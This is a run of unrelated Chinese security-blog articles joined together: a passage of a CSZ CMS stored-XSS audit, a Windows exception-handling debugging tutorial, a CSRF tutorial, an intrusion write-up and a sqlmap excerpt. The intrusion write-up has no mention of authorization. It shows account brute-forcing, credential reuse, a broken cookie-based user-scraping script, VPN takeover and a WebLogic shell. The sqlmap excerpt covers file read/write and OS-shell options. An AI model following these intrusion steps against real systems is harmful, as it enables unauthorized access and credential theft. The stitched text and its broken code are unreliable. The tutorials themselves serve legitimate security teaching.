当$xss_clean的参数设置为true，则会进行xss过滤，这也是为什么发送信息处并没有出现xss
继续看，$this->Csz_auth_model->send_pm方法位于cszcms/models/Csz_auth_model.php中的send_pm():
/**
* Send multiple Private Messages
* Send multiple private messages to another users
*
* @param array $receiver_ids Array of User ids of private message receiver
* @param string $title Title/subject
* @param string $message Message
* @param int $sender_id User id of private message sender
* @param string $re_message Reply the original message
*
* @return array/bool Array with User ID's as key and TRUE or a specific error message OR FALSE if sender doesn't exist
*/
public function send_pm($receiver_ids, $title, $message, $sender_id = '', $re_message = '') {
if (!$sender_id) {
$sender_id = $this->session->userdata('user_admin_id');
}
if ($sender_id && (!$this->is_useractive($sender_id))) {
return FALSE;
}else{
if ($receiver_ids && is_numeric($receiver_ids) && $sender_id != $receiver_ids) {
if($re_message){
$message = '{[' . str_replace("\r\n" . "\r\n", "\r\n", $re_message) . "]} " . "\r\n" . "\r\n" . $message;
}
$data = array(
'sender_id' => $sender_id,
'receiver_id' => $receiver_ids,
'title' => $title,
'message' => $message,
'date_sent' => date('Y-m-d H:i:s')
);
$this->db->insert('user_pms', $data);
$sender_user = $this->Csz_admin_model->getUser($sender_id);
$receive_user = $this->Csz_admin_model->getUser($receiver_ids);
if($receive_user->pm_sendmail == '1'){
$config = $this->Csz_model->load_config();
$message_html = 'Dear ' . $receive_user->name . ',<br><br>' . $message . '<br><br>Best Regards,<br>'.$sender_user->name;
@$this->Csz_model->sendEmail($receive_user->email, '[PM] ' . $title . ' ('.$config->site_name.')', $message_html, $sender_user->email, $sender_user->name);
}
return TRUE;
}else{
return FALSE;
}
}
}
调用了@$this->Csz_model->sendEmail方法，位于cszcms/models/Csz_model.php，我们继续跟进：
public function sendEmail($to_email, $subject, $message, $from_email, $from_name = '', $bcc = '', $reply_to = '', $alt_message = '', $attach_file = array(), $save_log = TRUE) {
$this->load->library('email');
$load_conf = $this->load_config();
$protocal = $load_conf->email_protocal;
if (!$protocal) {
$protocal = 'mail';
}
$config = array();
$config['useragent'] = $this->Csz_admin_model->cszGenerateMeta();
$config['protocol'] = $protocal; /* mail, sendmail, smtp */
if ($protocal == 'smtp') {
$config['smtp_host'] = $load_conf->smtp_host;
$config['smtp_user'] = $load_conf->smtp_user;
$config['smtp_pass'] = $load_conf->smtp_pass;
$config['smtp_port'] = $load_conf->smtp_port;
} else if ($protocal == 'sendmail' && $load_conf->sendmail_path) {
$config['mailpath'] = $load_conf->sendmail_path;
}
$config['mailtype'] = 'html';
$config['charset'] = 'utf-8';
$config['wordwrap'] = TRUE;
$this->email->initialize($config);
$this->email->set_newline("\r\n");
$this->email->from($from_email, $from_name); // change it to yours
$this->email->to($to_email); // change it to yours
$this->email->subject($subject);
$this->email->message($message);
if ($bcc) {
$this->email->bcc($bcc);
}
if($reply_to){
$this->email->reply_to($reply_to);
}
if ($alt_message) {
$this->email->set_alt_message($alt_message);
}
if (is_array($attach_file) && !empty($attach_file)) {
foreach ($attach_file as $value) {
$this->email->attach($value, 'attachment');
}
}
if ($this->email->send()) {
$result = 'success';
} else {
$result = $this->email->print_debugger(FALSE);
}
if($save_log === TRUE && $load_conf->email_logs == 1){
$data = array(
'to_email' => $to_email,
'from_email' => $from_email,
'from_name' => $from_name,
'subject' => $subject,
'message' => $message,
'email_result' => $result,
);
$this->db->set('user_agent', $this->input->user_agent(), TRUE);
$this->db->set('ip_address', $this->input->ip_address(), TRUE);
$this->db->set('timestamp_create', $this->timeNow(), TRUE);
$this->db->insert('email_logs', $data);
$this->db->cache_delete_all();
unset($data);
}
unset($to_email, $subject, $message, $from_email, $from_name, $bcc, $reply_to, $alt_message, $attach_file, $save_log, $config, $load_conf, $protocal);
return $result;
}
关键就在于后面的数据库操作：
$this->db->set('user_agent', $this->input->user_agent(), TRUE);
$this->db->set('ip_address', $this->input->ip_address(), TRUE);
$this->db->set('timestamp_create', $this->timeNow(), TRUE);
$this->db->insert('email_logs', $data);
$this->db->cache_delete_all();
$this->db->set方法位于：system/database/DB_query_builder.php：
/**
* The "set" function.
*
* Allows key/value pairs to be set for inserting or updating
*
* @param mixed
* @param string
* @param bool
* @return CI_DB_query_builder
*/
public function set($key, $value = '', $escape = NULL)
{
$key = $this->_object_to_array($key);
if ( ! is_array($key))
{
$key = array($key => $value);
}
is_bool($escape) OR $escape = $this->_protect_identifiers;
foreach ($key as $k => $v)
{
$this->qb_set[$this->protect_identifiers($k, FALSE, $escape)] = ($escape)
? $this->escape($v) : $v;
}
return $this;
}
简单理解即为插入或更新值作初始化
继续，$this->input->user_agent()位于：system/core/Input.php，其具体实现如下：
/**
* Fetch User Agent string
*
* @return string|null User Agent string or NULL if it doesn't exist
*/
public function user_agent($xss_clean = NULL)
{
return $this->_fetch_from_array($_SERVER, 'HTTP_USER_AGENT', $xss_clean);
}
这里的xss过滤操作默认是null，也就是没有过滤
这就是问题所在，我们即可以通过篡改user_agent的值实现xss，往下看，`$this->db->insert('email_logs',
$data)`即向emali_logs表插入数据，`$this->db->insert`实现如下（system/core/Input.php）：
/**
* Insert
*
* Compiles an insert string and runs the query
*
* @param string the table to insert data into
* @param array an associative array of insert values
* @param bool $escape Whether to escape values and identifiers
* @return bool TRUE on success, FALSE on failure
*/
public function insert($table = '', $set = NULL, $escape = NULL)
{
if ($set !== NULL)
{
$this->set($set, '', $escape);
}
if ($this->_validate_insert($table) === FALSE)
{
return FALSE;
}
$sql = $this->_insert(
$this->protect_identifiers(
$this->qb_from[0], TRUE, $escape, FALSE
),
array_keys($this->qb_set),
array_values($this->qb_set)
);
$this->_reset_write();
return $this->query($sql);
}
依然没有任何过滤
然而，关于为什么登入后台即会弹窗，搜索一番后发现，开发者直接将其echo出来（cszcms/views/admin/home.php）：
## 修复
在1.2.8中删除了相关代码（cszcms/views/admin/home.php）：
参考链接：
CI框架相关：<https://www.cnblogs.com/lazycat-cz/p/4315453.html>
cszcms开发文档：<https://docs.cszcms.com/> | 社区文章 |
# Windows调试——从0开始的异常处理（上）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
windows调试艺术主要是记录我自己学习的windows知识，并希望尽可能将这些东西在某些实际方面体现出来。
ps:本篇文章中的内容涉及到上次文章刚提到过的一些知识点，如果中间有不懂的地方可以参考上一篇文章<https://www.anquanke.com/post/id/173586>
再ps：所有文中提到另外会写的……尽量不鸽（咕咕咕）
windows的异常处理一直是大家关心的重点，不管是对操作系统的学习还是windows的漏洞利用，都逃不过异常处理，这篇文章将会从windows异常的基础、维护异常信息的结构、异常的详细处理、SEH和VEH等方面来详细讨论Windows下的异常处理机制并通过《格蠹汇编》一书中的几个课后实验来说明异常在调试中的实际应用。
## 什么是异常？
简单来说异常就是对于非预期状况的处理，当我们在运行某个程序时出现了异常状况，就会进入异常处理流程
发现异常 -> 寻找处理异常的方法 -> 恢复执行或者发生错误
异常又可以分为软件异常（由操作系统或应用程序引发的）、硬件异常（由cpu产生），其中硬件异常又和中断、系统调用等行为有着密切的联系，下面就来具体讨论一下。
### 硬件异常
硬件异常可以分为三种：
* fault，在处理此类异常时，操作系统会将遭遇异常时的“现场”保存下来（比如EIP、CS等寄存器的值），然后将调用相应的异常处理函数，如果对异常的处理成功了（没成功的情况会在下文中提到），那就恢复到原始现场，继续执行。最经典的fault例子莫过于Page Fault了，在分页机制下，当我们读到某个还未载入到内存的页时，就会触发该异常，操作系统会将该页载入内存，然后重新执行读取该页的指令，这是分页机制实现的重要机制。
* trap，在处理此类异常时，操作系统会将异常的“下文”保存，在处理异常后，直接执行导致异常的指令的下一条指令。我们在调试过程中常用的断点操作就是基于这类异常的，当我们在某处下断点时调试器会将原本此处的指令对应的十六进制保存下来，然后替换第一个字节替换为0xCC的，也就是int 3，造成断点异常，中断（此处的中断用的是break，而我们一般说的中断是interrupt，请读者务必区分清楚）到调试器，程序在运行到此处就会停止等待下一步的指令，而当我们继续执行时调试器就会将该指令替换为原来的指令，程序也就恢复正常执行了。不知道大家有没有注意过，在进行程序调试时经常会看见hex界面显示大量的“烫烫烫”，这其实是0xcc对应的中文字符，因为这些地址的内容程序并不想让我们访问，一旦我们访问这些地址，就会读到0xcc，程序也就“中断”了。
* abort，中止异常，主要是处理严重的硬件错误等，这类异常不会恢复执行，会强制性退出。
在windows系统中，硬件异常和中断被不加区分的存放在了一个向量表中，也就是我们常说的IDT（interruption descriptor
table），我们可以使用windbg（注意要在内核调试状态，笔者打印的是64位的情况）的!idt指令来查看IDT，不过windbg打印出的并不是真正的IDT结构，而是经过“解析”后的，更易于我们查看。表中前面的序号代表着它对应的是第几个中断或异常，后面的函数则是对这种异常或中断的处理函数，也叫做异常处理例程。
lkd> !idt
Dumping IDT: fffff80743286000
00: fffff80740dd5100 nt!KiDivideErrorFaultShadow
01: fffff80740dd5180 nt!KiDebugTrapOrFaultShadow Stack = 0xFFFFF8074328A9E0
02: fffff80740dd5200 nt!KiNmiInterruptShadow Stack = 0xFFFFF8074328A7E0
03: fffff80740dd5280 nt!KiBreakpointTrapShadow
04: fffff80740dd5300 nt!KiOverflowTrapShadow
05: fffff80740dd5380 nt!KiBoundFaultShadow
06: fffff80740dd5400 nt!KiInvalidOpcodeFaultShadow
07: fffff80740dd5480 nt!KiNpxNotAvailableFaultShadow
08: fffff80740dd5500 nt!KiDoubleFaultAbortShadow Stack = 0xFFFFF8074328A3E0
09: fffff80740dd5580 nt!KiNpxSegmentOverrunAbortShadow
0a: fffff80740dd5600 nt!KiInvalidTssFaultShadow
0b: fffff80740dd5680 nt!KiSegmentNotPresentFaultShadow
0c: fffff80740dd5700 nt!KiStackFaultShadow
0d: fffff80740dd5780 nt!KiGeneralProtectionFaultShadow
0e: fffff80740dd5800 nt!KiPageFaultShadow
0f: fffff80740dd62f8 nt!KiIsrThunkShadow+0x78
10: fffff80740dd5880 nt!KiFloatingErrorFaultShadow
11: fffff80740dd5900 nt!KiAlignmentFaultShadow
12: fffff80740dd5980 nt!KiMcheckAbortShadow Stack = 0xFFFFF8074328A5E0
13: fffff80740dd5a80 nt!KiXmmExceptionShadow
14: fffff80740dd5b00 nt!KiVirtualizationExceptionShadow
15: fffff80740dd5b80 nt!KiControlProtectionFaultShadow
真正的IDT实际上是维护了多个门描述符（GD），每一项大小为8（64位为16），IDRT寄存器中保存着IDT的基地址，我们想具体找某个GD的话直接利用IDTR+8*offset即可。门描述符结构如下：
GD大致由segment
selector（段选择子）、offset（选定段后的偏移）、DPL（描述符特权级）、P（段是否存在）组成，在上一次的《windows调试艺术》中我已经详细的说明了如何通过该结构寻找GDT/IDT进而找到相应的内容，这里就不再展开说了。
当windows系统启动时，winLoad会在实模式下分配一块内存，使用CLI指令来禁止中断的使用，利用LIDT（Load
IDT）指令将IDT表的位置和长度等信息交给CPU，接着系统恢复保护模式，这时的执行权交还给了入口函数，调用SIDT（set
IDT）拿到之前存储的IDT的信息，并将其记录到PCR中，接着其他处理器也会进行初始化的操作，复制并修改自己的IDT，在一切准备就绪后，调用STL指令恢复中断的使用。调用的函数链如下：
winLoad -> kiSystemStartup -> kiInitializePcr ->keStartAllProcessors -> kiInitProcessors
这里的PCR也就是上一次《windows调试艺术》中我们所说的Ring0下fs寄存器，我们可以使用内核调试状态下的windbg来查看相关的内容
* 第一个字段指向的是TIB，上一篇文章具体解释过了，我们重点关注的是第一个，exception的list的地址，也就是异常处理注册链表，是我们后面的重点。
* Prcb是指Process Control Block，实际上在操作系统将IDT的信息交付给PCR的过程中，也会交给它。
* IRQL也就是中断请求级别，0代表当前cpu的IRQL是内核态
* IDT和GDT分别是前面提到的两个表的地址
* TSS是任务段地址
* CurrentThread也就是当前线程的EThread地址
* NextThread是下一个准备执行的线程的地址
* idleThread是一个优先级最低的线程，也可以把它叫做空闲线程，可以简单理解为它是个在“休息”的线程
在上述过程进行完成之后，实际上我们的异常还是仅仅被“处理了一部分”而已，大多数IDT中记录的函数都只是对异常进行了包装和描述，之后还要采用异常分发机制来进一步进行异常处理。
### 软件异常
软件异常是由操作系统或应用程序产生的，它又包含了windows为我们定义好的异常处理和我们自己写的异常处理（各种编程语言中的try-catch结构）。这类异常追根溯源都是基于RaiseException这个用户态API和NtRaiseException的内核服务建立起来的。RaiseException的函数原型：
void RaiseException(DWORD dwExceptionCode , DWORD dwExceptionFlags,DWORD nNumberofArguments,const DWORD* lpArguments);
* dwException是异常状态码，可以在NtStatus.h中找到，应用程序也可以有自己的异常状态码
* nNumberofArguments和lpArguments是用来定义异常的数据
函数的功能十分简单，它会将异常的相关信息传入一个维护异常的结构，叫做EXCEPTION_RECORD，然后再去调用RtlRaiseException函数，该结构定义如下：
typedef struct _EXCEPTION_RECORD {
DWORD ExceptionCode;
DWORD ExceptionFlags;
struct _EXCEPTION_RECORD *ExceptionRecord;
PVOID ExceptionAddress;
DWORD NumberParameters;
ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;
* ExceptionCode为异常状态码，可以在NtStatus.h中找到，RaiseException的dwException就对应此项
* ExceptionFlags为异常的标志，16个bit中有一部分被拿出来当作标志位，包括像是8位的栈错误、1位的异常不可恢复等等，RaiseException的dwExceptionFlags对应此项
* ExceptionRecord是指向下一个异常的指针
* ExceptionAddress保存了异常的发生地址
* NumberParameters是 ExceptionInformation数组中参数的个数，RaiseException的nNumberofArguments对应该项
* ExceptionInformation也就是异常的描述信息，RaiseException的lpArguments对应该项
之后调用的RltRaiseException会将当前的上下文保存到CONTEXT结构中，此后调用的函数会维护一个TrapFrame（即栈帧的基址）和异常的处理次数的标志，这里不再赘述，调用链如下：
用户：RaiseException -> RltRaiseException -> NtRaiseException -> KiRaiseException
内核：RtlRaiseException -> NtRaiseException -> KiRaiseException
## 异常的的分发处理
上面说到了硬件异常会通过IDT去调用异常处理例程（一般为KiTrap系列函数），而软件异常则是通过API的层层调用传递异常的信息，但这都是最基础的处理，实际上最后二者是殊途同归，都会走到KiDispatchException函数来进行异常的分发。
异常分发的简化流程图如下，笔者绘图能力有限……可以在看完后面的具体分析后大家自己加以完善。
首先来看看KiDisPatchException函数的函数原型
void KiDispatchException (
IN PEXCEPTION_RECORD ExceptionRecord,
IN PKEXCEPTION_FRAME ExceptionFrame,
IN PKTRAP_FRAME TrapFrame,
IN KPROCESSOR_MODE PreviousMode,
IN BOOLEAN FirstChance
)
ExceptionRecord也就是前面提的描述异常的结构，TrapFrame指向的结构用来描述发生异常时候的上下文，PreviousMode来说明异常来自Kernel还是User，最后的FirstChance用来表示异常是不是第一次被处理，实际上这些结构的集合就形成了一个虚拟的、完整的“异常”结构，再去进行下面的处理。
进入上图，首先就要对异常的涞源进行判断，右边是内核的异常，右边是用户的异常，我们一个一个来看
### Kernel
但PreviousMode为0时，就会进入Kernel的异常分发，系统会维护一个KiDebugRoutine的函数，当内核的调试器启动时，它就帮我们把异常送往了内核调试器，而在未启动时，它只是一个“存根”函数（stub），返回一个False。这一步也就是图中的debug
当第一次debug返回False后会接着调用RtlDispatchException，函数的原型如下：
BOOLEAN RtlDispatchException(PEXCEPTION_RECORD ExceptionRecord,PCONTEXT ContextRecord)
两个参数就是异常的结构和上下文结构了，可以拿Windbg查看，函数的大致操作如下：
* 取异常登记链表的头指针
* 遍历异常登记记录
* 检查异常登记记录的有效性，有效则执行
* 异常已处理，返回
* 没有处理，返回并继续遍历
* 如果是内嵌异常则进行特殊处理
取得异常登记链表的头指针的也就是上一篇文中提到的fs寄存器，fs:[00h]，fs指向了TEB结构，而TEB第一个offset又是一个TIB的结构，TIB的第一个也就是异常登记链表了
经过上面的处理后，如果异常已经被处理了那也就结束了，如果没有处理的话就会进行第二轮调试，重复上面的debug内容，如果依然是没有启用调试器的话就那么就会把这个异常当作UnhandleException，也就是我们常说的未处理异常，在kernel下未处理异常可是个大问题，毕竟这可是操作系统最最重要的也最最完善的内核，这样的未处理异常一般都不是小问题，为了防止异常引发更大的问题，这时候系统就会调用KeBugCheckEx中止系统运行显示蓝屏，并将导致异常的地址打印在屏幕上。
### user
当PreviousMode==1时就进入了用户态的异常分发，相较于Kernel来说，user的异常处理还包括了我们自己在编写程序的过程中用到的try
catch，下面就具体来看看。
首先还是检查是否有调试器，具体的措施和Kernel相仿，不过找的函数是内核的DbgForwardException，这个函数涉及到了用户态的调试，以后要有机会还会单独写这个的知识点。简单点说就是找找用户态的调试器是不是要接手这个异常，如果成了就交给它处理，如果没有的话那就会通过KeUserExceptionDispatcher来找到KiUserExceptionDispatcher函数，要注意，此时已经返回到了用户态，且异常的相关信息（比如KTRAP_FRAME）已经被放入了用户态的栈上。之后会调用了RtlDispatchException（注意，该函数依然名字和作用都与Kernel的几乎相同，但是它是位于NTDLL的，而Kernel的则是位于NTOSKRNL）来遍历异常处理器的链表，但这次的链表又了“保底措施”，在链表的最末尾是UnhandledExceptionFilter（未处理异常过滤函数），一旦走到了这里，那就会出现“应用程序错误”的对话框并强制结束程序（之后会写这个函数的详细分析），异常也就算是处理完成了。
既然有了UnhandledExceptionFilter那岂不是所有的异常都会最终被直接处理了，那第二轮又是怎么回事？实际上如果在非调试状态下确实如此，用户态的异常如果在非调试状态下的话仅仅只有一轮的分发，而只有在调试状态下才会进行第二轮，再次判断调试器是否要接手异常。
## 格蠹汇编练习题
下面是我选择的几个需要涉及到异常知识的《格蠹汇编》一书的课后题，通过这些实际的例子来看看异常在程序调试中的重要性，源文件大家可以自行百度下载。
### 调试笔记之侦查广告插件
首先我们要windbg设置为windows的JIT（just in
time）调试器，最简单的方法是在管理员权限下cmd进入windbg所在的目录，直接运行下边的命令：
WinDbg -I
当然如今这种命令一步实现的可能性不大……因为我们大部分人的pc都是64位的windows10，并且还都装了vs，这种情况下我们会有x86和x64两种JIT默认，且默认都为vs的调试器，我们上面的操作仅仅是注册了其中的一种而已，这个时候我们就需要修改注册表了
我们进入regedit后找到下面的两个路径（分别是64位和32位的）：
HKEY_LOCAL_MACHINESOFTWAREWOW6432NodeMicrosoftWindows NTCurrentVersionAeDebug
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionAeDebug
里面有Auto和debuger两项，Auto的意思是在程序出错时是否会调用调试器，而Debuger则是保存了我们指定的调试器的路径，这里直接删除掉就好，接着分别在x86和x64的windbg目录下运行上面的命令就好了
再次打开程序发现直接打开了windbg
我们可以看到Access
violation，意思是访问违例，而下面的汇编代码就是具体的情况。可以看到执行的指令是将0赋予ecx的地址，当然只看这里我们还是看不出什么问题，接下来就进入正题了
.symfix 你的符号路径
set symbol store path的意思，也就是从微软那边将需要的符号信息下载到你指定的路径，便于调试
kPL
k是用来展示给定的线程的栈帧并展示相关的信息，P能够显示每一个函数的所有的参数，包括参数的数据类型、名称和值，L的意思是隐藏source
lines（源文件路径的意思），注意 **它们是大小写敏感的**
### 修复因误杀而瘫痪的系统
这一章节没有实验，但有一些很重要的知识点，简单总结一下
作者的朋友电脑出了问题，最开始是菜单不见了，再之后仅仅是进入启动界面几秒就黑屏了，通过双机调试得到了以下的错误信息：
第一串数字是Stop code（停止码，可通过帮助文档查询），大括号中第一串是有关进程的信息，第二串是错误码，可以通过!error指令查询。在这里Stop
Code的意思是系统进程终止，错误码的意思是对象不存在，也就是说尝试bug的原因是因为有些必要的东西没有了，我们利用db指令来查询一下进程的信息
发现有windows Logon
Process的信息，这是关系到用户登录的一个进程，在windows启动过程中，第一个创建的用户态进程是SMSS.exe（session manager
subsystem），之后的进程关系如下
SMSS.exe -> winlogon.exe -> explore.exe
-> CSRSS.exe
而最后的explore是资源管理器，开始菜单就是它来维护的，而当SMSS创建这两个进程时，如果创建失败，就会进行bug
check，如果有调试器的话就会调用系统中断连接到调试器，没有的话就会蓝屏重启。分析到这里，我们就有理由相信，电脑的重启很有可能是由于winlogon被删除而导致的。
但winlogon这么容易被删除吗？首先它作为系统文件，是有一定的保护机制的，其次，作为一个一直在运行的程序，它的虚拟内存文件不可能被直接删除。所谓虚拟内存文件是基于虚拟内存机制的一类文件，它有两种，一种是专用的页面文件，一般在磁盘的根目录，文件名叫做pagefile.sys；第二种是文件映射机制加载过的磁盘文件本身，比如用户态的dll文件和exe文件，加载后充当了虚拟内存文件的角色，而之后内存管理器会和文件系统会达成“协议”，不再允许删除该文件。这也就是病毒文件绞尽脑汁也要加载到内存的原因，一旦运行了，拿它在某种程度上就“无敌”了
作者根据电脑的故障时间进行了文件排查，最终将目光锁定在了一个名字中带有delay的反病毒软件的def文件，正是因为我们上面提到的问题，所以现在很多杀毒软件都支持“延时删除”的策略，但启动过程执行到SMSS.exe时会检查如下的注册表键执行操作
HKEY_LOCAL_MACHINESYSTEMControlSet001ControlSession Manager PendingFileRenameOperations
该键的构造为srcFilePathdstFilePath，即移动文件，当我们将dstFilePath设置为0时，也就会将src文件删除了。经过作者修改该文件，也就解决了问题。
由于书的年代过于久远所以采取了延时删除的策略，实际上在windwos8中已经引入了一种新的技术 — ELAM（Early Launch Anti-Malware），反病毒的驱动在得到微软的特殊数字签名（Microsoft Windows Early Launch Anti-malware
Publisher）后可以在系统启动过程中优先加载并扫描接下来加载驱动的数字签名，如果判定为恶意代码的话就会在未启动前直接将其删除。
### 拯救发疯的Windows 7
题目背景是作者的朋友电脑window7的操作系统崩溃，最后给了个dump出的文件.
Windbg载入dump文件
可以很明显的看到报了个stack buffer overrun的提示，也就是说导致系统出问题的很可能是栈溢出，我们利用以下的命令查看一下
kn
k是用来展示给定的线程的栈帧并展示相关的信息，n是显示栈的编号
可以看到它调用了Werp开头的几个函数，全称是windows error
report，也就是错误报告的意思，往下看有UnhandleExceptionFilter（未处理异常过滤函数），它是处理未处理异常的关键函数，同时也是系统终止掉一个进程前做最后处理的地方，应用程序错误（application
error）和我们上面设置的JIT都是从这个函数发起的。根据栈回朔，往下就是引发这个未处理异常的函数了，也就是umpo模块里的某个函数。
lmvm
lm的意思是list load
modules，v显示了详细的信息，m是要进行模块名称的匹配，在这的目的主要是看看是不是正常的（也就是官方的）一个模块，因为它之后就是错误处理了，所以我们有必要检查他一下，可以看到这个模块是没有问题的
继续看栈回朔，发现了问题，umpo模块中的SendPowerMessage函数的ret地址和其他函数的差距很大，并且windbg提醒我们这个地址不是在任何一个已知的模块中的，很有可能是发生了溢出错误，而report_gsfailure也正是cookie被覆盖所产生的异常处理信息（也就是GS机制，做pwn的应该是很熟悉了，这里不再多说）
dd 009afb30-4
此处地址为ebp-4，实际上也就是cookie，我们检查一下cookie的内容，cookie和父函数的值都是00640064，明显不正常
db 009afb30-204 L220
我们查看该函数的变量空间来看看到底读取了什么导致了发生溢出，这里的204是由两个函数地址之差算出来的，记得还要减去cookie和ebp的大小（注意L要稍大一些，因为溢出了所以要想看到网站的读取信息就要多读几个字节）
可以看到确实是溢出了，而产生的原因就是因为c:userspicturesSample
PicturesDesertddddd…d.jpg的文件路径字节数太多所导致的，我们手动改一下文件名就好了 | 社区文章 |
* * *
## Web安全系列 -- Csrf漏洞
### 序言
今天继续给大家讲前端漏洞，今天介绍的是csrf这个漏洞与xss漏洞的恩怨情仇，别看这两个漏洞只差几个字符，但他们的区别可是天差地别。
### Csrf漏洞
**CSRF** （Cross-site request forgery）跨站请求伪造：也被称为“One Click Attack”或者Session
Riding，通常缩写为CSRF或者XSRF，是一种对网站的恶意利用。尽管听起来像跨站脚本（XSS），但它与XSS非常不同，XSS利用站点内的信任用户，而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比，CSRF攻击往往不大流行（因此对其进行防范的资源也相当稀少）和难以防范，所以被认为比XSS更具危险性。
### Csrf漏洞分析
#### 成因
其实说白了，csrf漏洞的成因就是网站的cookie在浏览器中不会过期，只要不关闭浏览器或者退出登录，那以后只要是访问这个网站，都会默认你已经登录的状态。而在这个期间，攻击者发送了构造好的csrf脚本或包含csrf脚本的链接，可能会执行一些用户不想做的功能（比如是添加账号等）。这个操作不是用户真正想要执行的。
#### 危害
攻击者盗用了你的身份，以你的名义发送恶意请求。CSRF能够做的事情包括：以你名义发送邮件，发消息，盗取你的账号，甚至于购买商品，虚拟货币转账......造成的问题包括：个人隐私泄露以及财产安全。
#### 示例
首先找到一个目标站点，csrf存在的危害主要存在于可以执行操作的地方，那么我在我搭建的一个环境中的登录后页面进行测试
环境就是一个wordpress的环境，大家可以直接去官网下载
我们选择用户界面进行测试，可以看到现在只有一个用户
下面我添加用户
利用burp进行截断
利用burp的自带插件来利用csrf
会生成一个可以利用csrf.html
修改标注内的值，来保证添加的用户不会重复造成无法添加
在浏览器中尝试
执行按键，发现除了本来存在的第一个用户和我们通过正常手段加入的用户双增加了一个新的test1用户，这个用户就是我们利用csrf点击图片中的submit来执行的操作，因为是我们的测试没有对页面进行修改和直接触发，如果是攻击者利用JS来让用户进行直接的触发，只要打开了相应的页面就会执行这一行为。
### Csrf高级应用
利用html很不容易让人利用，漏洞触发复杂，那我们就想办法让这个触发方式变的简单起来。
利用xss漏洞来触发csrf漏洞，完成用户添加的操作。
我们首先要先了解发送的数据包内容
打开上节讲到的xss平台，创建一个csrf的项目，我们来编写一下我们的代码吧
把这段代码粘到项目的代码配置中去
然后把我们的可利用代码通过留言的存储型XSS漏洞存入到我们的目标站点中去
留言成功后的效果如下
当管理员查看留言时就执行了我们的危险代码并发送了添加用户的请求
在查看用户列表成功的加入了test2用户
到这里，csrf的攻击实例可以说讲的差不多了，以后就要大家自己去挖掘了。
### 利用工具介绍
Burp相信大家也都有一定的了解，截断数据包，构造csrf漏洞poc，基本是最简单方便的工具了。
在给大家介绍一个CSRFTester-1.0，这个工具，专门针对csrf漏洞，可以构造多种样式的poc
双击bat文件运行
设置浏览器8008代理，点start就可以获取到通过的数据包了
最下方构造需要的poc加以利用，总的来说比burp更加专业，如果专门利用csrf可以使用这个工具。
### 总结
漏洞依靠用户标识危害网站，利用网站对用户标识的信任，欺骗用户的浏览器发送HTTP请求给目标站点，另外可以通过IMG标签会触发一个GET请求，可以利用它来实现CSRF攻击。
CSRF攻击依赖下面的假定：
* 攻击者了解受害者所在的站点
* 攻击者的目标站点具有持久化授权cookie或者受害者具有当前会话cookie
* 目标站点没有对用户在网站行为的第二授权 | 社区文章 |
目标地址：www.baidu.com
一共有五个端口8000-8005不知道什么技术，所有端口都跳到了同一个IP的8082的端口上，只有后面几个参数不一样，而且确实是不同的系统:
[
简单看下下，没什么其他功能，而且有验证码，也猜不到用户名，那咱们就看下其他站吧，先从OA下手吧。OA是泛微的:
[
如果输入错误的账号默认会提示账号是否错误，但是他的没有，但是我谷歌搜到有个默认账号sysadmin，尝试爆破，得到密码:
[
进入后台，迟迟get不了shell无奈放弃但是我找到一个重要信息，邮箱密码：
[
记录下：baidu_mail然后发现这个IP上还有个8080端口，也是泛微的e-mobile：
[
用上面的密码尝试登录，失败，可是还存在一个manager管理页面，用一开始的密码成功进入：
[
发现用户名
[
尝试登录8000-8005的系统，提示存在：
[
他的报错提示有密码错误、账号/密码错误等等
[
可是密码猜不到，别忘了，我们不是还有个从OA那里爆破到一个密码吗，试试
[
嗯，没权限。。。但是我们有一个线索了，用户名，那写个程序爬下来再说
import requests
import re
import sys
reload(sys)
sys.setdefaultencoding('utf8')
csv = open('lianxiren.txt','w')
for i in range(23):
print i
url = "http://oa.baidu.com:8080/manager/securityPolicy.do?method=detailed&userid=%s"; %i
key = r"<td class=\"pvalue\">(.*?)<\/td>"
cookies = {'JSESSIONID':'baidutest':'test'}
get = requests.get(url,cookies = cookies)
print get.text
body = re.findall(key,get.text)
for b in body:
print b
csv.write(b + '\n')
我们不是有一个邮箱权限吗，还有个邮箱密码，那我们把通讯录脱下来，在加上OA上也有邮箱信息，一起拿来跑下呢欸，密码通用
[
通讯录一开始不饱满，那我们就进一个邮箱导出一下咯，继续跑欸，VPN！！！
[
开始进内网
[
就一个系统，不管了，看了再说。。。看了以后发现就是外网8000-8005上的系统。。。刚刚不是sysadmin提示没权限吗，那我们就再试试，万一内网有权限了呢，可惜还是提示没权限。而且邮箱里发现好多敏感信息，但是就是无法访问
[
欸，我看到了一个跟我OA里的用户名一样的账号，还有密码
[
成功登录，但是我是在内网进的，我去外网访问一下试试呢，403.。。意思就是说，如果你不进内网，有了账号密码也进不了系统。。。看了下ssl
vpn，竟然没给我分配虚拟地址我猜应该是权限低的问题，我继续爆破邮箱得到一个老总vpn
[
看到没，ALL！！那我们原先好多不能访问的系统都能访问了
[
可是我们目的不是内网渗透呀，继续翻
[
欸，密码呢（这里要说下，外网IP存在console目录，怀疑是weblogic，但是访问就是403，内网进来后发现可以访问）我看到密码了！！
[
进入weblogic
[
getshell
[
发现3个系统和其他14个系统都在一起
[
这次的任务也就完成了 | 社区文章 |
## 前言
上一篇文章：[记一份SQLmap使用手册小结（一）](https://xz.aliyun.com/t/3010)
希望各位大佬轻喷(QAQ)
本人博客：<http://www.cnblogs.com/miraitowa/>
### 其他高级
#### 用户自定义函数注入
参数：`–udf-inject,–shared-lib`
你可以通过编译`MySQL`注入你自定义的函数`（UDFs）或PostgreSQL`在`windows`中共享库，`DLL`，或者`Linux/Unix`中共享对象，
`sqlmap`将会问你一些问题，上传到服务器数据库自定义函数，然后根据你的选择执行他们，当你注入完成后，`sqlmap`将会移除它们。
#### 系统文件操作
**从数据库服务器中读取文件**
参数：`–file-read`
当数据库为`MySQL，PostgreSQL`或`Microsoft
SQLServer`，并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。
**把文件上传到数据库服务器中**
参数：`–file-write,–file-dest`
当数据库为`MySQL，PostgreSQL或Microsoft
SQLServer`，并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。
**运行任意操作系统命令**
参数：`–os-cmd,–os-shell`
当数据库为`MySQL，PostgreSQL或Microsoft SQL Server`，并且当前用户有权限使用特定的函数。
